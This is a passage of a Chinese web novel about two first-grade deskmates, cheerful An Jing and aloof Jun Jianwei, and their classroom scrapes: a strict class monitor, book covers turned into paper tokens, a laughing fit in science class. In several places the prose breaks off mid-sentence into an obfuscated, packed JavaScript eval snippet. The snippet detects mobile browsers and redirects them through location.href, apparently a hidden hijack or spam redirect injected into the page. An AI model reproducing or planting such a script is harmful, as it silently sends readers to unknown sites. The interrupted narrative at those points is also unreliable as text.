君见微无语地看了安靖一眼。 两人在课桌底下偷偷拉了钩,安靖一边勾住君见微的小手指晃悠,一边口里还低声念叨:“拉钩上吊,一百年不许变,骗人的是小狗。”然后用大拇指和君见微的大拇指相印:“盖章。” 随即抬头朝君见微灿烂一笑。 而君见微也是这个时候才注意到,安靖的门牙已经长出来了,而且这家伙笑的时候,脸蛋两边还各有一个小小的酒窝。 他微微一怔。 莫名想起他的小表妹脸上也有小酒窝。 当时二姨还说,长小酒窝的小孩,长大以后都是美人。 想到这,君见微顿时不禁恶寒了一下。 不过黑历史被扒的威胁暂时解除,君见微心里还是松了口气。但是对安靖该讨厌还是要讨厌。 他转过头,继续认真朗读课文。 安靖不知道为什么君见微对此事讳莫如深,在他看来弄了一身屎就和自己雨天踩水坑弄得一身泥水差不多,只是衣服脏了要挨爸妈一顿打骂而已。 不知道君见微那天回去有没有挨打挨骂,如果是他的话,肯定会被爸妈混合双打的。 话说回来,如今他能够和君见微有了同一个小秘密,感觉两个人更加亲密了呢。 只有关系很好的好朋友之间才会有小秘密呀。 安靖心里高兴地想道。 他哼着歌,打开自己的泰罗奥特曼书包,费力地拿出文具盒,抽出铅笔,在语文课本扉页上歪歪扭扭地写上自己的名字和班级。 百无聊赖地翻了翻课本,又抬头环顾了一周身边的同学。 明亮宽敞的教室里,整个班级,学生分为四组,第一组和第四组分别一左一右,靠有门和外窗的一面墙,两人一排;而中间第三、第四组并在一起,为四人一排,分别与第一组和第四组相隔一条过道。 安靖坐在第三组的外部,左边是和靠外窗第四组相间的过道,右边就坐着君见微。 后座是个头上夹着两个花朵夹子的双马尾女孩儿。而前座是个蘑菇头女孩,她没有坐在座位上,而是站在讲台上带领大家认真地朗读课文。 安靖的目光再次落在了坐在自己身边的君见微。 因为坐得近,在全班一片奶声奶气又毫无感情的朗读声中,他可以清晰地听出君见微念书的声音。 毕竟君见微念起书来和别人都不一样。不仅声音好听,而且特别特别的……嗯……安靖的小脑瓜里找不出来合适的词,总之就是很特别吧,而且很可爱啊!应该是全世界读书最可爱的小孩了吧? 安靖从来没见过长得比君见微还好看的小朋友,皮肤白白的,身上总是穿得漂漂亮亮、干干净净的,说话声音又好听,还很聪明,还会很多其他小朋友都没学过的生词,特别特别厉害。 他沉醉地看了会自己的同桌,看够了,才心怀满足地,慢悠悠地收回了视线,开始摆弄自己的文具盒。 这文具盒是安靖在开学时哭着闹着,让妈妈花了十块钱买来的。 外面的外壳印着蓝猫和淘气,开关里安装了吸铁石,每次开关的时候,都会发出“啪”的一声!里面还能拖出两层阶梯装笔!而且还有专门放卷笔刀、橡皮以及直尺的凹陷方格,简直炫酷到不行! 安靖玩了好一会,又把自己的文具盒推过去给他同桌:“诶,你看我的文具盒!” “君见微,君见微,你看看嘛!” 他喊了好几遍,但是君见微仍旧是沉醉于读自己的书,好似没听到,又是连个眼神都不给他。 反倒是讲台上的蘑菇头女孩走到了安靖桌前。这女孩肤色偏深,个子高、骨架大,比某些同龄男孩子还要壮实。 她低头瞟了眼安靖和安靖桌上的东西。 坐在座位上的安靖仰头望向她,以为是自己引以为傲的文具盒得到了她的注意,便有些开心地又把文具盒朝她方向推了推,大方地问道:“你要玩吗?” 谁知道女同学小脸绷得紧紧的,眼睛溜圆地瞪着他:“我叫林珍,是班上的班长。早读课上不准做小动作,和同学说小话。好好早读,这是警告第一次,下一次我就要记名字告诉老师了。” 说罢又伸手去翻了下安靖的语文课本扉页,好像是确认了他名字怎么写,然后又回了讲台。 班上停下来的朗读声也随之重新响起。 安靖完全没有想到事情居然是这个发展,睁圆了他的那双大眼睛愣了好一会,才伸手把自己的文具盒收了回来。 他偷偷瞟了一眼君见微,见其依旧沉迷于读书,心里才莫名松了一口气,但是同时又有些说不出的失落。 不过很快他的那些复杂心绪就自然消散了,顾自拿起语文书,像看小人书一样津津有味地看课文里的配图和小故事。 这时,兼任班主任的语文老师踩着高跟鞋蹬蹬蹬从教室外面回来了。 她扫视了一圈教室,然后笑眯眯地走到了安靖旁边,低下身和蔼地问安靖:“会读吗?拼音都能拼出来?” 安靖能闻到语文老师身上的那股暖暖淡淡的体香和头发丝上的洗发水香味,这让这个七岁的小男孩莫名地脸蛋有些红和没来由的欢喜。 因为被老师关注关心,他的眼睛都是亮亮的,自豪地挺起小胸膛:“我都会。我妈妈买了声母表和韵母表,贴在墙上,然后抓着我把声母表和韵母表都背下来了……” “这么棒啊,”班主任笑眯眯地用夸赞打断了安靖的话,又伸手将安靖的语文书翻了几页指给他看,“刚开学两个星期,我们只上了两课,上到了这里。虽然后面还会复习,但是你毕竟缺课,要抓紧时间自己努力赶上来,早读课更要认真读。 有什么不懂的你可以来问老师,或者君见微。他是语文课代表,也是你们这组的语文小组长。还有我们班的班长,林珍,非常乐于助人。你也可以向她请教。” 安靖开心地答应了,眼睛又亮亮地看了眼君见微,脸上是收不住的灿烂笑容。 君见微被老师Cue到,只好朝老师点点头。 林珍就跟他完全不一样,原本还在领读的她耳尖地听到老师夸自己,当场从书里抽出一张画有表格,写得密密麻麻的纸递给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如此,浮想联翩的安靖脸上挂着奇异的笑容,吼得更大声了。 坐在他旁边快要被他吼聋了的君见微:…… 就莫名感觉委屈。 自己到底做错了什么,要碰到这么讨厌的人,还当了同桌。 早读课一下,班上就乌泱泱地喧闹起来,有跑出去玩的,也有待在教室里的,还有小朋友跑过来围在胳膊上打了石膏,绑着三角巾的安靖桌子旁边,好奇地问他怎么受伤的。 安靖跟大家说自己是在从桌子上跳下来的时候骨折的。 没有人问为什么安靖要从桌子上跳下来,一帮人兴致勃勃地问安靖能不能把布条绷带拆开让他们看看石膏。 安靖被大家都这么期待地看着,莫名怀揣了一股英雄的使命感,他自认为这东西拆下来自己还能再绑回去,便真的就要动手拆了。 一旁君见微被这一幕惊呆了,当即出言阻止:“这个不能拆的!这个拆下来只能去医院找医生才能重新包扎上的。” 安靖经这么一提醒,终于回想起当初他把家里电视遥控器、收音机拆了之后装是真的装回去了,但是莫名还多出了一堆零件,结果惨遭爸妈混合双打。 于是,扒拉布条的爪子又收了回去。 他很感激地看了君见微一眼,不过这么多小朋友还围在身边,为了补偿,他还是很开心地跟大家分享自己打石膏的经历。 讲里面石膏怎么打的,去医院拍片时自己的骨头拍出来什么模样,他的两只眼睛睁得圆圆的,唯一能动的那只小胳膊还使劲挥舞比划,叽里呱啦个没完。 一旁操心的君见微小声叹了口气,撇过头去顾自练习着带来的字帖。 最后还是坐在前面的班长让安靖别讲话,先把课程表抄了还给自己,安靖的说书人生涯终于被无情斩断。 只是,在低头抄课程表时,安靖的嘴也没闭上。 他因为只有右手能动,抄得极为费力,而且一边抄,嘴里还要把写的字念出声来。 这是幼儿园时老师和妈妈辅导这个小家伙做作业时使他留下来的习惯,有助于练习专注以及记忆文字的读与写。 坐在他旁边的君见微却遭了殃。 分明从前在一片喧哗中也能静心专注的他,此刻面无表情地捏着橡皮使劲擦着字帖上的“人之初,上体育。” 幸好是用铅笔写的。 他想。 安靖是真的很讨厌。 5. 那不是我妈妈 独臂大侠安靖同学抄课程表一直抄到上第一节课了也没抄完,被开始上课的语文老师叫止了:“大家把书翻到第X面。我们先把昨天学的生词生字复习一遍……安靖,课程表一会再抄。” 安靖只好放下笔,跟着大家一起拖着老长的调子,跟着老师读生词生字。 后来学习新课文的时候,君见微正听着语文老师朗读课文,安靖突然把大脑袋凑了过来,盯着他书看。 明明他们俩的课本分明都长一个样,干嘛看他的书? 君见微皱起眉,忍不住挪了挪书,小声抱怨道:“你干嘛?” 安靖朝他一笑,滚圆的黑眼珠子在君见微和君见微的书上转了一圈,小声夸赞说:“你的包书皮真好看。” 君见微用的包书皮是学校外店铺里卖的透明包书塑料膜。 通常低年级的小孩都不太能很好地保护书,所以一般开学发书后第一天老师布置的家庭作业,就是让大家回家把书包好。 学校外的店铺就有这种专门的包书皮卖,规格尺寸很是符合,直接套上就行,五毛钱到一块五不等,不仅上面印有各种卡通图案——比如君见微的包书皮上印的就是一只可爱的米奇——仔细闻还有股淡淡的香气,故而受欢迎极了。 除了君见微外,班里也有不少小孩是用的这种买来的包书皮。 不过还有另外一拨家长舍不得花钱,自己帮小孩包。 “妈妈会包,等妈妈回去帮你包啦。包得比那些买来的还好看!不要去花那些冤枉钱。” ——安靖的妈妈就是其中之一。 她坐在台灯下,用大张的旧日历硬纸对着书丈量裁剪,折角封好,然后拿水彩笔,在雪白的封面上写上大大的“语文”二字和孩子的名字。 安靖妈妈文化程度不高,但是字是一笔一划认真写就,很是秀气端正。 不过,再如何手巧精心,又哪里有米老鼠好看嘛,还说会包得比外面买的好看。 谁知君见微听了夸奖,并没有高兴,而是瞪了他一眼,还两手环抱住自己的语文书又往旁边挪了一下,偏过头去不理他。 安靖有点委屈,只好开始摆弄自己的书。 小手指头慢慢搓动书页角,把它卷起来,然后又抹展开。 来回几次终于玩够了,便又去抠包书皮上粘的透明胶带。 但是妈妈显然对儿子的手贱和破坏能力非常了解,封住包书皮交界处的胶带粘得十分牢固。安靖抠了半天也才抠出一点点,然后就因为做小动作被忍无可忍的老师点名批评了。 好不容易迎来了放学,有一只胳膊不能用的安靖乖巧地坐在座位上等妈妈来接。 君见微自己收拾好书包,站在安靖面前,不咸不淡地对他说道:“劳烦让一下。” 坐在外座的安靖急忙让开了,却正好瞥见刚刚到了教室门口朝里面望的妈妈,他高兴地大喊了声:“妈妈~” 安靖妈妈脸上露了个笑,这一笑让她和安靖很是相像。 安靖高兴地指着君见微大声介绍道:“妈妈,我跟君见微同桌!就是我在爷爷家认识的好朋友。” 君见微安靖妈妈点头问好:“阿姨好。” “哎呀这么好啊,你们两个做好朋友还做同桌,”安靖妈妈笑眯眯地说道,“那你们以后要互相监督哦,一起好好学习,上课不能讲话。以后安靖不听话,上课不听讲,你就跟阿姨说。” 君见微应了声,说:“阿姨我回家了,再见。”然后就背着书包走出了教室。 安靖视线一直循着他,抬头看去,就见门口有个中年妇女把他的书包接过,牵着他离开。 但是不等安靖多看,坐在他后座的那个双马尾女孩突然开口告状道:“阿姨,安靖今天上语文课的时候做小动作,被语文老师批评了。” 安靖:…… 关你什么事啊?!!我妈妈让君见微说,你又不是君见微!真讨厌!告状精! 安靖气呼呼地瞪向后座,耳朵却被妈妈揪了起来,“你看别人干嘛?本来就缺课,你还上课不听讲……” 旁边的同学和家长都笑了。 在这么多人面前被揪起耳朵批评的安靖颇感丢人,被迫歪着脑袋的他哀求地望着妈妈:“妈妈……” 妈妈没好气地快速收拾好安靖的书包,然后拽着安靖回家,念叨了一路。 下午上数学课的时候,安靖突然想起上午接君见微回家的那个女人,当老师一背过身板书,立马就向君见微单方面发起悄悄话:“君见微,君见微……” 他小手掩在嘴边,眼睛微微上弯着,贼兮兮地小声对其说道:“上午放学的时候,我看到你妈妈啦。” 像是又和君见微有了新的一个共同小秘密一般,开心得很。 君见微眼珠斜瞟了他一眼,说道:“那不是我妈妈。” 安靖歪了身子朝君见微凑得更近些,好奇地追问道:“哦,那是谁啊?” 君见微没有再说话。 如果是寻常人,这会要么不再追问,要么会自行猜想大概是姨妈姑母之类。 安靖想了想,脑海里竟冒出一个很吓人的可能,结结巴巴说道:“不会是你后妈吧?” 那眼神又害怕又担忧,还掺杂了些许同情。 君见微白了他一眼:“不是。安同学,你可以好好听讲吗?你不听讲不要耽误别人听讲。” 声音不大,语气却是少见的冷淡。 安靖让自己扯起嘴角笑了笑,转过头垂眼看向自己的书,然而微微泛黑的脸蛋和露出来的耳朵却因为被很喜欢的朋友批评而尴尬止不住地发红。 他愧疚打扰了爱读书的君见微听课,又羞惭自己上课不听讲,还被好友批评了。 过了好一会,他偷偷地瞟了眼君 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上午有两堂课的老师都没逃过安靖这个名字带来的麻烦。 他们在班上学生讲话声过大时习惯地喊“安静”二字。而每次安靖都会情不自禁站起来,一脸茫然又紧张地看向老师。 并不知道班上新来同学名字的老师也一脸疑惑地看向他:“同学你站起来干嘛?是要上厕所吗?” 每一次都能引发全班同学笑声地震,百笑不腻。 “大家安静!安靖你就看着我或者墙上这个图学着一只手做,”林珍之前也不可避免地发笑,笑过后面对这吵闹的教室却不得不皱起眉再次出声维持秩序,随即她便带领还在笑的大家跟着音乐节拍做起了眼保健操。 安靖并没有听林珍的话,他看了看墙上马尾辫女孩的示范图,就开始来回比对,一副裁判的模样般在心里评判班上哪个同学做得标准不标准。 不过没一会他就觉得无聊了,从书包里拿出了他的葫芦娃小人书开始看。 这是他中午偷偷放进书包里的。 当时他还美美地想着可以跟君见微一起看。但是没想到等后来到了学校后,君见微对小人书压根一点都不感兴趣。而且小人书还差点被别人抢走。 幸好安靖力气大,个子也不矮,抢回来了。 时不时睁眼观察班级的林珍看到这一幕,高声宣布:“安靖你做眼保健操的时候看小人书,我记你名字了。不准再看了!再看我就把你的书缴上来给老师。闭上眼睛做眼保健操,要不就趴在桌子上睡觉!” 又是记名字。 安靖嘟了嘟嘴,又不自在地挪了下屁股,把小人书收了起来。 他此时尚不知道记名字的可怕。 一直到了第三节课。 6. 记名字 今天是周一。 而每周一下午的第三节课,班主任都要开每周一次的班会。 先由广播里播报全校上一周来的扣分班级或学生姓名和流动红旗分别落花谁家,然后班主任就广播内容作进一步补充,并总结班里上一周的情况和一些注意事项,之后批评和表扬对象从班级整体下降到个人。 班上的同学鸦雀无声,一个个低着头默默写作业,乖得跟鹌鹑一般,生怕训人的老师突然将怒气发作到自己身上。 安靖听了一会,发现老师算的账都是上周的,他又是上学第一天,所以心里很快放松下来,压根没想到老师会点到他的名。 “安靖,”老师见安靖头也没抬还在那里玩水杯,又更大声叫了一次,“安靖!叫到你名字还在做小动作!” 班上已经够静了,所有人都看向了老师,当安靖发现自己的视线和老师对上就没断开过时,才发现了不对,他犹犹豫豫地抬起手指了指自己,目露疑惑。 老师也才突然想起这小孩的名字特殊性,没好气:“对。点的就是你的名。” 安靖磨磨蹭蹭地站起来时才发现老师手里拿着的本子,正是班长平日里记名字用的那个本子。 啊欧。 安靖妈妈来接安靖的时候,君见微一样是打了招呼就匆匆背着书包离开了,而后座的女孩则又用她那清脆的声音向安靖妈妈告了状:“安靖妈妈,安靖下午做眼保健操的时候看小人书,被记名字了。然后班会的时候,语文老师批评了他,还让他罚站。” 总是这么被当着班上小孩和小孩家长的面告状自己小孩各种不听话,安靖妈妈脸上也有些挂不住,她对那小女孩笑笑:“好哦,谢谢你啊,我回去就教训安靖。” 然后用恶鬼一般的眼神看了安靖一眼,安靖心里委屈得要命,使劲地瞪后座女生,嘴巴撅得快亲到他的小鼻头上了。 关你什么事啊?!什么事情都要告状!告状精!啊啊啊啊啊!世界上怎么会有这么讨厌的女孩子啊! “啊!” 安靖没喊出来,那个告状精女孩却短促地尖叫了一声。 告状精一手拽住经过身边、背着书包的男孩,一手指着过道地上一支铅笔,说道:“一元钱,你赔。” 男孩皮肤黄黑,头发发黄,有些龅牙,他弯下腰把笔捡起来递给她:“还可以用的。” 告状精不接:“已经不能用了!被你撞得从桌子上掉下来,里面铅芯都肯定断了。快点赔。你身上有钱,我知道。” 龅牙捏着铅笔的手指紧了紧:“……这又不是自动铅笔,这只是普通的铅笔,顶多五毛钱,而且五毛钱的也不是长你这样的。” “这是无铅铅笔你懂吗!国外进口的!你不信去外面大型文体店看,是不是一元钱一支。嗤,没见识。赔钱啦!”告状精皱起眉头怨愤又不屑地说道。 告状精家长是个漂亮时髦的女人,拉了拉女孩胳膊,劝道:“天怡,算了,我再给你买一支。”然后笑着对那个龅牙男孩说,“没事,没事。你走吧。” 龅牙把铅笔放到告状精桌子上,说了句“对不起啊”,然后离开了。 告状精满脸不高兴。 发现安靖正看自己的热闹后,还瞪了安靖一眼。 安靖朝她吐舌头,做了个嘲讽的鬼脸。 哼哼,活该! “装什么怪相,走了,”安靖妈妈已经帮安靖抄完今天的家庭作业布置内容,揪起安靖的耳朵骂道。 第二天早上来到班上坐下后,安靖看了眼坐在后桌的那个告状精,又把小手掩在嘴边和君见微说悄悄话:“我跟你说,坐在我后面的那个女生好讨厌啊。” 正在认真读课文的君见微依旧没有理会他。 但是安靖是不顾君见微感兴趣与否的,倾诉欲过重的他从来都不会在意对方是否愿意或有听到他说的话,再次歪着身子过去,强行叽里咕噜地告诉了君见微,昨天后座那个告状精怎么告状啦,后来笔掉到地上怎么凶那个龅牙男生啦,以及妈妈回去后把他的小人书给直接撕了,他当时有多么多么伤心啦。 不过安靖没好意思跟君见微说自己还哭了——他当时就像电视里那些丧子的寡妇一般趴在地上一边哭,呜咽着一遍又一遍地念叨“我的葫芦小金刚……”,一边用唯一能用的右手去捡小人书的碎片,兜在T恤下摆里。本来就是“伤残人士”,那股子可怜劲,把一旁的妈妈都气笑了。 安靖“自言自语”完后见君见微仍旧是没有搭理自己,挠了挠头,百无聊赖之下转头拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142083|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了语文书也开始读。 但是没读几句,他突然想起自己早上还特地留下了牛奶准备来学校给君见微,急忙把牛奶从书包里拿出来递到君见微桌子上,笑吟吟道:“呐,给你。” 君见微瞟了一眼牛奶,把牛奶放回了安靖桌子上:“……我不喝,谢谢。” 安靖失望又着急,赶忙问道:“那你喜欢喝什么啊?你喜不喜欢旺仔牛奶啊?我下次带旺仔牛奶给你好吗?我家还有娃哈哈……” 这牛奶是安靖妈妈订的一家本地鲜牛奶,每日早上都会配送到家。因为是纯牛奶,安靖喝着也是没滋没味的,但是,如果是旺仔牛奶的话,会有哪个小朋友不喜欢呢? 君见微皱起眉头:“我都不喜欢,你可以不要打扰我吗?” 前座林珍回过头来:“我记名字了,安靖,君见微,早读课讲话。” 安靖吓得急忙争辩道:“我没有说话,我只是给君见微牛奶……而且君见微他只是说不要喝牛奶而已。” 林珍:“我不管,反正你们说话了。” “不是的……”安靖咬咬牙,只好退而求其次,与之交涉,“那你记我名字就好了,君见微只是因为我硬要和他讲话才回答……求求你了,你把君见微的名字去掉吧……” 但是不管安靖怎么哀求,林珍都坚持不改。 安靖朝君见微看去,君见微已经扭过头去了。 安靖心头惴惴。 君见微要因为自己无辜被老师骂了。 他轻轻拽了拽君见微的衣角,小声道歉:“对不起。” 君见微压根没搭理他。 果然生他气了。 之后上第一节课时,安靖都没好意思再和君见微说话。 但是这并不代表安靖打算以这种消极态度逃避到结束,愧疚感正如浪潮一般不断地冲刷撞击着安靖的胸腔,且一层一层越积越高。 课上老师讲了什么安靖也几乎没听,还因为走神走得太过明显,被老师点名起来回答问题,结果回答不出来被老师当众罚站,安靖看见坐在前面的班长在那本可怕的本子上再次记上了他的名字。 下课后,他深呼吸了两次,凝视着君见微漂亮的侧颜,似乎有了勇气,站起来跑出了教室,去了办公室。 7. 摔元宝 幸好班主任就在办公室里,下节课正是她的语文课。 安靖结结巴巴地向班主任讲述了记名字事件,并且很努力地为君见微做的辩解。 办公室里还有其他几个老师,在一旁听了都窃笑不已。 班主任朝安靖微微点头,说道:“这样啊,我知道了。你肯为君见微来找老师帮他解释,是个好孩子。老师答应你,不会错怪君见微。不过你呢,还是说了话对不对?” 安靖羞愧地点了点脑袋承认了。 班主任又道:“昨天我才批评过你,你今天怎么又犯了呀?不管是早读课,还是平常上课,都不能再和同学说话,做小动作。我们来学校是学习的,对不对?你们有什么话,留到下课讲嘛。不然的话,既影响了自己听讲,也耽误了好朋友学习,那老师只能把你们调开了。” 安靖开心地使劲点着头,黑白分明的干净眼睛里闪着光:“我知道啦,谢谢老师!” 心里大石头放下的他向老师高声地说了声再见后,就快乐得像一只春天里的狗崽子一样蹬蹬蹬跑出了办公室,无忧无虑,丝毫没把老师温和的嘱咐和威胁放在心上。 他迫不及待地回到了喧闹的教室。 “君见微!”还没坐下,他就欢喜地向君见微高声邀功报喜,“我跟语文老师解释啦,她不会批评你的。”引得周围人都看向他。 君见微皱皱眉,转头看了安靖一眼:“哦,谢谢。” 其实他没有必要和安靖说谢谢,这本来就是安靖给他带来的无妄之灾,帮他解决掉本也应是安靖的分内之事。而且,他对老师的批评也没有特别在意,至少没有其他小朋友那样把批评看得那么严重。 但是安靖能够愿意弥补错误,甚至跑去老师办公室和老师解释,这是很多小朋友都做不到的,所以君见微倍感意外。 安靖却是像得了君见微的夸奖一般——毕竟他也自认为自己做了件了不起的事,他兴奋又羞涩地坐了下来,然后拉了拉自己屁股底下的凳子,凑近了君见微一点:“你在干什么呀?” 君见微情不自禁地往旁边偏了偏脖子避开了安靖喷薄而来的呼吸。 安靖的身上还带着股汗味。如今是九月中旬,最热的时节已经过去了,但安靖是新陈代谢快的小孩,先前又跑动过,竟还流了汗。 “我在做题,不要打扰我,”君见微又微微扭了脖子,往右挪了挪自己的凳子,然后说道。 “哦,”安靖没再挪动,伸着脖子看了会君见微做数学题,就缩回了被那复杂的数字关系与计算闹得有些犯晕的脑袋。只觉君见微不愧是君见微,果然聪明。 他目光往周围一扫,正瞧见讲台边的空地上有两个同学在摔元宝,眼睛一亮,急忙起身离开座位跑去了讲台边,兴致勃勃地弯着腰站在一旁看他们玩。。 元宝是将两张长条纸交叠折出来的厚四方形。一个人将自己的元宝放在地上,另一个人用自己的元宝向地上的元宝使劲掷去,如果成功将对方的元宝击打翻面,则作为胜方可以拥有对方的元宝。 “带我一个呗,”看得手瘾大起的安靖央求道。 “你要来?你有元宝吗?”那个同学问道。 安靖这才想起自己的元宝和葫芦娃画片都在家里。他忙道:“我去折,下节课来。” “下节课后要做广播体操的。” “那就下下节课。” 同别人说好后他赶紧回了座位,然后把自己桌子上数学书的包书皮给拆了——毕竟元宝这种东西想要摔出劲儿来,就得用结实又厚实的硬纸皮,作业本的纸张是没有办法满足这种要求的。 他因为只有一只手能用,对于撕不下来的胶带只好下嘴用牙齿去咬。 一副皱着小眉毛,鼓着脸颊,龇着牙齿的凶恶小模样。嘴里分泌的透明涎水还顺着嘴角流到胶带和纸张上,黏黏哒的。 一旁看见这幕的君见微眼皮直抽搐。 一贯笨手笨脚,动作又因为急躁而粗鲁,有不少边角地方都被安靖给撕破了。 待他费力地把书□□拆下来,撕成两半,正要用唯一能用的一只手开始折的时候,上课铃响了,老师也走进来了,他只好赶紧把东西一股脑都塞进桌屉里,将要用的语文书拿了出来。 两节课后,安靖有三本书的包书皮都变成了元宝。他兴高采烈地拿着新出炉的元宝冲去跟人血战。 当中还有个元宝上露出了安靖的名字——那是安靖妈妈当时包书后在书□□上用水彩笔写的,一笔一划,字迹清秀,端正认真,在元宝摔起的灰尘中逐渐肮脏黯淡甚至破损。 君见微收回了自己的视线,手中刚削好的铅笔在纸上已经因为用力过度而导致前端铅芯尖按断了一小节,他用小刀轻轻刮了两刀,继续练字。 一周后,安靖书包里的书,有几本算几本,包书皮已经全部变身元宝。 这天是周一,刚从外面玩完后回来的安靖顶着汗涔涔的脑门,一阵风般卷进教室,看见君见微少见地伏在桌上,侧着头睡在胳膊上,眼皮没什么精神地耷拉着。 明亮的阳光从窗外照射进来,铺洒在君见微圆润白皙的脸上、低垂纤细的睫毛上,还有柔软的头发发丝尖儿上,君见微像一只冬日里蜷缩在太阳底下取暖的猫,脆弱又柔软,叫人生怜。 安靖看呆了。 好半天反应过来,他怀揣了一份接近不亲人的小动物的小心与紧张,轻手轻脚地坐到座位上,偏着头仔细观察君见微确认他没睡后,想起自己还放了月饼在书包里,悄声问道,“君见微,你吃月饼不?我给你带了月饼。”说着就从书包里往外掏月饼。 上周周五是中秋节,安靖妈妈买来月饼的当天他就赶紧拿了几个喜欢的口味放在书包里,以免直到周一忘了带给君见微吃。 君见微抬起眼皮瞥了他一眼,依旧是那种对一切都兴致缺缺的神色:“不吃。” “有凤梨味的,很好吃,你不吃啊?”安靖莫名隐隐感觉到君见微的低潮,矮下身子低了头探过去,带了几分温柔地轻声问道,“怎么啦?”像妈妈询问生病时的他一样。 君见微又闻见了安靖身上那股子带着潮意的汗味儿,他不高兴地说道:“你离我远点。” “……你要玩这个不?我的可以给你,不要你还,”安靖突遭嫌弃,无措了两秒,急中生智,赶紧把兜里自己赢来的一叠元宝和画片全掏出来放在桌上,推到君见微面前。只希望他的同桌和好朋友君见微能高兴起来。 眉开眼笑的脸上,还带着股炫耀其庞大资产的骄傲。 君见微终于抬起头正眼看了眼眼前这位用一只手还赢来别人那么多东西的独臂大侠:…… “不玩。” “画片也不要吗?我有葫芦娃的,还有孙悟空的,奥特曼的……”安靖诱惑他似的,一样一样地盘点着这些因为长期被扔在地上扇而掉色的画片,看向君见微,“我可以给你一半……嗯,或者这三种你想要哪种,我可以全给你。” 他大方地说道,虽然有些舍不得,但是想想自己还能赢来更多,便心中完全释然。 君见微垂眸,视线落在了安靖那只完好的右手的手掌上,灰扑扑的,尾指外侧那一部分还肿了,甚至渗着血丝。 够拼命的。 拍画片不比摔元宝,是要用手扇起风把地上的画片扇翻面的,且不可避免地要用手掌外侧和地面摩擦。 总之,全是要与灰尘共舞的游戏。 他转过头:“不要,脏死了。” 安靖看了看自己身上,外面敞开的蓝白校服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142084|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褂子和里面的米白秋衣都不知怎么玩得脏兮兮的。 君见微不提,他都要忘了这遭,衣服又被他弄得这么脏,等放学妈妈来接自己,又要挨骂了。 再看看君见微同样穿着一身蓝白校服,整齐又洁净,好像跟他身上穿的不是一套衣服。一看就是个大人们最喜欢的那种,爱讲卫生文明的乖孩子,就连趴桌子上睡觉都透着几分乖驯,让安靖崇拜又心生羡慕。 很多时候安靖也不知道怎么就把衣服就惹得脏兮兮的,保持干净实在是不可能任务。 上课铃打了起来,懒洋洋的君见微终于支起了身体,和平常一样坐得端正又精神。 一直暗暗关注的安靖也微微放下心,赶紧把元宝和画片塞进抽屉里。 国庆节后,独臂将军安靖终于解除了他左手的封印。 为了扩充军马,他连课本的封面都撕下来一起做成了元宝,而暴露出来的目录页和最后一页都不可避免地打卷破损脱落,让当科任课老师每每看到他凄惨的课本都连连摇头。 “同学你这个书啊……”科学老师拿起安靖的科学课本叹气,“也不知道好好保护。” 对上安靖抬头望来的无辜眼神,科学老师也没啥好说的,把书还给安靖,转过身重新回到讲台。 撕都已经撕掉了,他也只是个副科老师,科学书这种副课课本成为小孩的娱乐牺牲品很常见,能留着正本内容都已经算学生很给面子了。 安靖再次凑近君见微,同其说小话:“君见微,君见微,你看科学老师。” 君见微真的要被安靖烦透了,一天天的,不管课上课下,抓着点什么鸡毛蒜皮的小事都要同他说,叫他看看看。 “哎呀,你看科学老师的头发嘛!”他像发现新大陆一样着急地催促道,眼里一直闪着兴奋的光。 君见微被迫抬头看了眼科学老师。 科学老师是个腰间拴钥匙的儒雅中年男,形象一贯不错,谁知今日后脑勺下端的一撮尾发很不服帖地翘起。 这节科学课是下午第一节课,可以猜到大概他中午午睡后醒来急着前来上课,没有注意打理。 这种事太正常了,有什么好大惊小怪的。也只有安靖这类幼稚、愚蠢的小孩才会觉得好笑。无聊! 正当君见微有些不屑地要低头将视线回归科学书时,安靖贼兮兮地在他耳边来了一句:“像不像阿童木?” 科学老师的额前发是朝前突出的,配上如今后脑勺那一撮意外翘起的尾发,其他处头发又是乖顺地垂贴在头上,确实挺像阿童木。 而且初看还好,越看越像,天知道该死的安靖眼光怎么这么毒。 君见微赶紧低下头,狠狠忍住了那股涌上来的笑意,顺带着瞪了安靖一眼。 一心想讨君见微开心的安靖被他这么一瞪,缩了缩脖子,知道自己又办错事了。 也是,君见微那么爱读书的人,肯定比普通人更尊重老师,不会认为老师出丑很好笑,甚至有可能还觉得他这种嘲笑老师的行为很过分。 安靖只好偃旗息鼓。 但是君见微再怎么尊重老师,他的笑点也和常人一般无二,只是他比其他小孩更早学会了控制情绪和忍耐克制。 可是,笑这种感觉,有的时候就像呕吐的生理感受一般,是难忍的,你唯有发泄出来方能获得解脱。 尤其是在那个逗你笑的滑稽事物就在你眼前晃来晃去,一遍遍地强调自己的存在的时候。 那股子发笑的感觉只会愈发强烈,一个劲地往上顶…… 三分钟后—— “噗嗤嗤嗤……” 君见微实在忍不住了,笑出了声,然后迅速收住了笑容。但是为时已晚,全班人连带老师的目光已经全部集中在了他身上。 8. 换座位 科学老师眼神中透出了然和责备:“上课开小差啊,还自己暴露出来。” 这种温和的嘲讽更叫人羞惭。 君见微马上站起来面红耳赤地向老师道了歉。 